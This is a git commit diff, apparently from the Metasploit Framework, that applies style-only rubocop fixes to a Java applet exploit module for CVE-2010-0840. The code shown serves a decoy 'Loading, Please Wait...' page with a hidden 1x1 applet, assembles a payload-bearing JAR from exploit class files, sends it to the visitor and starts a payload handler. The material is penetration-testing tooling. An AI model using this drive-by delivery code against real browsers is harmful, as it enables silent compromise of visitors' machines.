Mass rubocop changes

This commit is contained in:
Spencer McIntyre
2025-12-17 17:11:13 -05:00
parent d4b196b309
commit 602adeb4c5
237 changed files with 4505 additions and 4446 deletions
@@ -39,7 +39,7 @@ class MetasploitModule < Msf::Exploit::Remote
[
'Generic (Java Payload)',
{
'Arch' => ARCH_JAVA,
'Arch' => ARCH_JAVA
}
],
[
@@ -69,22 +69,22 @@ class MetasploitModule < Msf::Exploit::Remote
end
def on_request_uri(cli, request)
if not request.uri.match(/\.jar$/i)
if not request.uri.match(/\/$/)
send_redirect(cli, get_resource() + '/', '')
if !request.uri.match(/\.jar$/i)
if !request.uri.match(%r{/$})
send_redirect(cli, get_resource + '/', '')
return
end
print_status("#{self.name} handling request")
print_status("#{name} handling request")
send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
return
end
paths = [
[ "vuln", "Exploit.class" ],
[ "vuln", "Exploit$1.class" ],
[ "vuln", "Link.class" ],
[ 'vuln', 'Exploit.class' ],
[ 'vuln', 'Exploit$1.class' ],
[ 'vuln', 'Link.class' ],
]
p = regenerate_payload(cli)
@@ -92,28 +92,28 @@ class MetasploitModule < Msf::Exploit::Remote
jar = p.encoded_jar
paths.each do |path|
1.upto(path.length - 1) do |idx|
full = path[0, idx].join("/") + "/"
full = path[0, idx].join('/') + '/'
if !(jar.entries.map { |e| e.name }.include?(full))
jar.add_file(full, '')
end
end
fd = File.open(File.join(Msf::Config.data_directory, "exploits", "cve-2010-0840", path), "rb")
fd = File.open(File.join(Msf::Config.data_directory, 'exploits', 'cve-2010-0840', path), 'rb')
data = fd.read(fd.stat.size)
jar.add_file(path.join("/"), data)
jar.add_file(path.join('/'), data)
fd.close
end
print_status("Sending Applet.jar")
send_response(cli, jar.pack, { 'Content-Type' => "application/octet-stream" })
print_status('Sending Applet.jar')
send_response(cli, jar.pack, { 'Content-Type' => 'application/octet-stream' })
handler(cli)
end
def generate_html
html = "<html><head><title>Loading, Please Wait...</title></head>"
html += "<body><center><p>Loading, Please Wait...</p></center>"
html += "<applet archive=\"Exploit.jar\" code=\"vuln.Exploit.class\" width=\"1\" height=\"1\">"
html += "</applet></body></html>"
html = '<html><head><title>Loading, Please Wait...</title></head>'
html += '<body><center><p>Loading, Please Wait...</p></center>'
html += '<applet archive="Exploit.jar" code="vuln.Exploit.class" width="1" height="1">'
html += '</applet></body></html>'
return html
end
end